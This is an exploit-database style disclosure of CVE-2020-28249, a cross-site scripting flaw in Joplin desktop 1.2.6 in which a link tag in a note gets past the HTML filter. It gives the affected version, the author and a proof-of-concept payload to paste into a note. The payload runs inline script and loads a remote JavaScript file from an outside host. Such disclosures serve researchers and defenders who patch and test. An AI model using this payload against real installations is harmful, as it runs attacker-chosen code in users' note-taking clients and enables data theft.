# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting# Date: 2020-09-21# Exploit Author: Philip Holbrook (@fhlipZero)# Vendor Homepage: https://joplinapp.org/# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6# Version: 1.2.6# Tested on: Windows / Mac# CVE : CVE-2020-28249# References:# https://github.com/fhlip0/JopinXSS/blob/main/readme.md# 1. Technical Details# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
bypass the HTML filter# 2. PoC# Paste the following payload into a note:
```
<link rel=import
href="data:text/html,<script>alert(XSS)</script>
<script src="//brutelogic.com.br/1.js# </script>
```